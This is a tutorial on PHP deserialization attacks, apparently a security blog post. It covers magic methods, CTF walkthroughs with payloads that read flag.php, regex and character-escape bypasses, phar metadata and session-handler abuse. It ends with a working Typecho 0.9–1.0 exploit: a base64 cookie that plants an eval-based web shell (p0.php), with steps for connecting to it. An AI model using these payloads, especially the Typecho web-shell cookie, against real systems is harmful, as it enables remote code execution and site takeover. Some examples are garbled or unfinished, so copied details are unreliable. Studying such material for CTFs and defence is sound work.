Serialization & Deserialization

To facilitate data storage, php usually converts data such as arrays into serialized form for storage, so what is serialization? Serialization is actually converting data into a reversible data structure. Naturally, the reverse process is called deserialization.

There is a vivid example on the Internet, which will make us deeply remember that the purpose of serialization is to facilitate the transmission and storage of data. In PHP, serialization and deserialization are generally used for caching, such as session caching, cookies, etc.

Now we all buy tables on Taobao. How do transport such irregular things from one city to another? At this time, we usually dismantle them into boards, put them in boxes, and then send them by express. Going out, this process is similar to our serialization process (converting data into a form that can be stored or transmitted). When the buyer receives the goods, they need to assemble these boards into a table by themselves. This process is like a reverse sequence process (transformed into the original data object).

Serialize() & Unserialize()

PHP uses two functions to serialize and deserialize data: serialize() formats the object into an ordered string unserialize() restores the string to the original object.

Php Deserialization

PHP deserialization is a necessary basis for code auditing, and this knowledge point is a standing knowledge point for ctf competitions. Because PHP objects need to express more content, there will be a basic format for basic type expression, which is roughly divided into six types.

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

Example

<?php class message{
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);

Output

 O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

At the same time, it should be noted that the serialized content only has member variables and no member functions, as shown in the following example:

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

Output

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

From the output results, we can see that the construct() and happy() functions, including the classes in the functions, will not be output.

If the variable is protected, it will be added before the variable name x00*x00, and private will be added before the variable name x00 class name x00. Such as the following cases:

<?php
class test{
    protected  $a;
    private $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

The output will cause the loss of the invisible character x00, so the storage is more recommended in the form of base64 encoding:

O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

Deserialization Vulnerabilities and Magic Methods

There is often no suitable utilization chain in the actual digging process, which requires the use of native classes that come with PHP itself. Here are some magic methods that deserialization exploits.

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted，this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created

Deserialization Exploit (Bypass)

Php7.1+ deserialization is not sensitive to class attributes. We said earlier that if the variable is protected, the serialization result will add x00*x00 to the variable name

However, in certain versions above 7.1, it is not sensitive to class attributes. For example, the following example will still output abc even if there is no x00*x00.

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
?>

Example question: [Net Ding Cup 2020 Qinglong Group] AreUSerialz (BUUCTF)

Enter the topic, first perform a source code audit

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

First find the exploitable dangerous function **file_get_content()** and then step back to find __destruct()--> process()-->read() such a calling process.

Two bypasses: 

1. __destruct() requires op! ===2 and op==2 is required in process()

• This is bypassed with $op=2

2. Bypassing the is_valid() function, both private and protected attributes have unprintable characters beyond 32-125 after serialization, but for PHP version 7.1+, it is not sensitive to the type of the attribute, we can change the protected type to the public, to eliminate non-printable characters.

Final Payload:

<?php
class FileHandler {
public $op=2;
public $filename="/var/www/html/flag.php";
public $content;
}
$a=new FileHandler;
echo serialize($a);

?>

Pass the serialization result obtained after the payload runs into str to get the flag:

Various Bypass

Bypass Some Regex

preg_match('/^O:d+/') Matches whether the serialized string starts with an object string. We have two ways to bypass deserialization:

Use the plus sign to bypass

$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; 
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));

Serialize(array(a))

//a is the object to be deserialized (the serialization result starts with a, which does not affect the destructuring of $ an as an array element)

serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

Using references to make two values ​​identical

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

    if($this->a===$this->b){
        echo 666;
   }
}

}
$a = serialize(new test());

The above example will $b set $a the reference to, making it $ an always $b equal to

Hexadecimal Bypass Character Filtering

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
can be written as
O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";}When the s representing the character type is capitalized, it will be parsed as hexadecimal.

Deserialization Character Escape

The principle of deserialization character escape is to use the characters existing in the title to filter and replace, resulting in more or fewer characters after filtering. to escape the string. For these two situations, also made an image metaphor: inserting and pulling out (shy). I feel very untouched.

Example: Deserialization character variable escape case

<?php
function change($str){
    return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "deserialize string：";
var_dump(serialize($arr));
echo "<br/>";
echo "at this time:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time，age=$new[1]";

We can see that the deserialization string fails after filtering, which is due to overflow (s is originally 4 and the result is one more character)

name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}(20 characters)

name=maoxxxxxxxxxxxxxxxxxxxx(20个x)";i:1;s:6:"woaini";}

name=maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)

";i:1;s:6:"woaini";}

i:1;s:6:"woaini";

Example: Deserialization character less escape case

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "deserialize string：";
var_dump(serialize($arr));
echo "<br/>";
echo "after filtering:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>at this time，age=";
echo $new['age'];
?>

Pre-knowledge: extract() variable coverage

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

Here, the post parameters extract（）will be passed for variable coverage. The extract() override can also override the value of the session variable.

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));
}

Auditing this part of the code, we can conclude that f passes the parameter phpinfo to get phpinfo(). And the title hints that there are good things in phpinfo().

Continue to audit and find a filter function that replaces php, flag, php5, and other characters with empty. This function will be of great use to us soon (think of deserialization character escape)

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
    
}

php character deserialization key escape. Look directly at the big guy's payload

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

Why write it like this? Let's do a simple test. First of all, we must make it clear that the goal of our escape is to ensure that

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

is deserialized as a single value.

<?php
header("Content-type:text/html;charset=utf-8");

echo "Before adding the attribute img";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "After adding the attribute img";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

Object Injection

unserialize() Vulnerabilities arise when user requests are not properly filtered before being passed to the deserialization function. Because PHP allows object serialization, an attacker could submit a specific serialized string to a unserialize function with the vulnerability, resulting in the injection of an arbitrary PHP object within the scope of the application. Object injection is similar to a process of variable overwriting with deserialization magic.

Object vulnerabilities appear when two preconditions are met

1. unserialize The parameters are controllable. 2. A class with a magic method is defined in the code, and some functions with security problems that use class member variables as parameters appear in this method.

Give a case to help understand

<?php
class A{
    var $test = "y4mao";
    function __destruct(){
        echo $this->test;
    }
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

The function is called after the script runs _destruct, and the test variable output is overwrittenmaomi

Deserialize POP Chain Construct

At this point, you must review the knowledge of the PHP magic method mentioned earlier in the article

__wakeup() // While executing unserialize(), this function will be called first
__sleep() // When serialize() excuted，this function will be called first
__destruct() // Trigger when the object is destroyed
__call() // Triggered when an inaccesible method is called in the object context
__callStatic() // Triggered when an inaccesible method is called in a static context
__get() // This method is called for reading data from inaccesible properties or if the key doesn't exist
__set() // Use to write data to inaccesible properties
__isset() // Triggered by calling isset() or empty() on an inaccesible property
__unset() // Triggered when unset() is used on a inaccesible property
__toString() // Triggered when the class is used as a string
__invoke() // Triggered when trying to call an object as a function
__construct() // Triggered when the object is created

The serialization attack explained earlier is more about some exploited vulnerabilities in magic methods, which are triggered by automatic calls. But if the key code is not in a magic method, but in a normal method of a class. At this time, you can connect the class with the function containing the key code to the sensitive function belonging to the same class, and the effect of calling can be achieved layer by layer.

Code audit, the title first prompts the flag in flag.php and then sees that you can pass parameters to pop and pop will be deserialized. Then start looking for dangerous functions that can be exploited.

class Modifier {
  protected $var;
  public function append($value){
    include($value);
  }
  public function __invoke(){
    $this->append($this->var);
  }
}

After looking around, I found that the include function exists in the append method in the Modifier class, so this question must be to use the append method in the modifier class to call the include function to include the flag.php file.

To use the append method, you have to use another method in the Modifier, which is also our common magic method, which is triggered when you try to call the object as a function. Then we go back to the source code to find the place where the object is called as a function

class Test{
  public $p;
  public function __construct(){
    $this->p = array();
  }

  public function __get($key){
    $function = $this->p;
    return $function();
  }
}

Found the get method in the test class. Continue to search, the get method will be called when accessing a non-existent attribute, look for such an attribute, and find that there is no source attribute in str in the tostring method at all

public function __toString(){
    return $this->str->source;
  }

What is the tostring method called? __toString() is fired when the class is used as a string. This finds the echo $this->source can be called __toString in the construct() method again

Finally, there is another magic method in the show class that wakeup() will be called automatically during deserialization, and the pop chain is successfully connected to deserialization.

Such a complete pop chain is

unserialize()-->wakeup()-->construct()-->tostring()-->get()-->invoke()-->append()-->include()

Given the payload:

<?php

class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
 $this->str =new Test();
 }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier;
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
?>

PHP Native Class Deserialization Utilization

SoapClient Deserialization

To be continued, allow me to make a splash first

phar deserialization

In software, a PHAR (PHP Archive) file is a packaging format that enables the distribution of applications and libraries by bundling many PHP code files and other resources (such as images, style sheets, etc.) into a single archive. A phar file is essentially a compressed file that stores user-defined meta-data in serialized form. When the affected file manipulation function calls the phar file, the content within the meta-data is automatically deserialized.

Stream Wrapper

PHP implements complex file processing functions through user-defined and built-in "stream wrappers". Built-in wrappers are available for filesystem functions such as (fopen(), copy(), file_exists() and filesize()). phar:// is a built-in stream wrapper.

Some common stream wrappers in php are as follows:

file:// — access the localsystem, this wrapper is used by default when using filesystem functions
http:// — access HTTP(s) URLS
ftp:// — access FTP(s) URLs
php:// — access to various（I/O streams）
zlib:// — compressed stream
data:// — data（RFC 2397）
glob:// — finding match 
phar:// — PHP archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — audio stream
expect:// — handle interactive streams

phar format

stub: The flag of the phar file, must end with xxx __HALT_COMPILER();?>, otherwise it will not be recognized. xxx can be custom content. manifest:phar file is essentially a compressed file, in which the permissions, attributes, and other information of each compressed file are placed in this part. This part also stores user-defined meta-data in serialized form, which is the core of the exploit. content: the content of the compressed file signature (nullable): the signature, placed at the end.

How to generate a phar file

<?php
    class Test {//customize
    }

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //The suffix must be phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //set up stub
$o = new Test();
$phar->setMetadata($o); //Store custom meta-data in manifest
$phar->addFromString("test.txt", "test"); //Add files to compress
//Signature automatic calculation
$phar->stopBuffering();

?>

Exploit Conditions

The phar file must be able to be uploaded to the server. Have magic methods available as "springboards".

The parameters of the file operation function are controllable, and special characters such as:, /, pharand others are not filtered.

Restriction bypass method: When the environment restricts phar from appearing in the preceding characters. Can be bypassed using compress.bzip2:// and compress.zlib:// etc.

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

When the environment restricts that phar cannot appear in the preceding characters, it can also be used with other protocols.

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF format validation can be bypassed by adding GIF89a to the file header

1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //set up stub
2、generate一个phar.phar，Modify the suffix to phar.gif

Session Deserialization

Session in a computer, especially in a web application, is called "session control". The Session object stores the properties and configuration information required for a specific user session. This way, the variables stored in the Session object are not lost or changed as the user navigates between the application's Web pages. When a user requests a web page from an application, if the user does not have a session, the web server will automatically create a Session object, and when the session expires or is abandoned, the server will automatically destroy the session.

When visiting the website for the first time, the Seesion_start() function will create a unique Session ID and automatically save the Session ID to the client cookie through the HTTP response header. At the same time, a file named the Session ID is also created on the server-side to save the user's session information. When the same user visits the website again, the session ID saved in the cookie will be automatically carried over through the HTTP request header. At this time, the Session_start() function will not allocate a new session ID but will Find the session file with the same name as the session ID in the hard disk of the server, and read out the session information saved for the user before, and apply it in the current script to track the user.

Session storage mechanism The content of the session in php is not stored in the memory but is stored in the form of a file. The storage method is determined by the configuration item session.save_handler. The default is to store it in the form of a file. The stored file is named after sess_sessionid

Common session storage paths:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

Some session configurations in php.ini

session.save_path="" --set up session storage path                                        
session.save_handler=""–Set a user-defined storage function. If you want to use PHP's built-in session storage mechanism, you can use this function (database, etc.)            
session.auto_start boolen–Specifies whether the session module starts a session at the beginning of the request. Defaults to 0 and does not start                                
session.serialize_handler string–Defines the handler name used for serialization/deserialization. Use by default php

Case: Simple use of session deserialization

To understand why session vulnerabilities occur, we must first understand how serialization is handled in the session mechanism.

php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() function

php:The storage method is, key name + vertical bar + value processed by serialize() function sequence

php_serialize(php>5.5.4):The storage method is that the value serialized by the serialize() function

To put it simply, the default engine is php-serialize, and when you find that the engine used for session parsing is php, due to the different processors used for deserialization and serialization, the data format is different, and the data cannot be correctly reversed. serialization, then arbitrary data can be happily faked by construction.

Sample Source Code

1. php

<?php
//ini_set('session.serialize_handler', 'php');
ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name."!";
    }
}
?>

The only difference between 1.php and 2.php is that different parsing engines are used to process sessions.

Attack Idea:

1. First generate a serialized string

<?php
    class student{
        var $name;
        var $age;
    }
    $a = new student();
    $a->name =  "daye";
    $a->age = "100";
    echo serialize($a);
?>

O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

2. Visit 1/2.php respectively and pass the obtained string (preceded by |) as a parameter

payload:

|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

Advanced case: Deserialization attack using session.upload_progress

The exploit condition is mainly the existence of session deserialization vulnerability.

From the two exploit points of file inclusion and deserialization, it can be found that the exploit PHP_SESSION_UPLOAD_PROGRESS can bypass most of the filtering, and the transmitted data is not easy to find.

Test Environment:

php5.5.38
win10
session.serialize_handler=php_serialize，
The rest of the session related configuration is the default value

Test Source Code:

<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
    public $handle;
    function __construct() {
        $this->handle=new TimeNow();
    }
    function __destruct() {
        $this->handle->action();
    }
}
class TimeNow {
    function action() {
        echo "time of your visit:"."  ".date('Y-m-d H:i:s',time());
    }
}
class  IP{
    public $ip;
    function __construct() {
        $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
    }
    function action() {
        eval($this->ip);
    }
}
?>

Typecho Deserialization Vulnerability Recurrence

Typecho is a lightweight open-source blogging program with a robust kernel, easy extension, friendly experience, and smooth running. Based on PHP5 development, use multiple databases (Mysql, PostgreSQL, SQLite) to store data. Released under the GPL Version 2 license, it is an open-source program with a wide range of applications.

Vulnerability introduction and reproduction

Typecho blog software has an arbitrary code execution vulnerability caused by deserialization. Malicious visitors can use this vulnerability to execute code without restrictions and obtain a web shell, which poses a high-security risk. By using the install.php page, a malicious request package can be directly and remotely constructed to realize remote arbitrary code execution, causing serious security risks to the business.

Affected version: Typecho 0.9~1.0

The vulnerability appears on the install.php page, visit http://192.168.186.1/build/install.php?finish=1

Use BP to capture packets, send them to Repeater, and copy the Cookie and Referer in the POC file to BurpSuite to modify the Referer's IP to 192.168.186.1 (personal ip), as shown in the figure.

POC

Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php

A packet with a return status code of 500 indicates success. Use the web shell tool to link the path /build/p0.php

Reference Link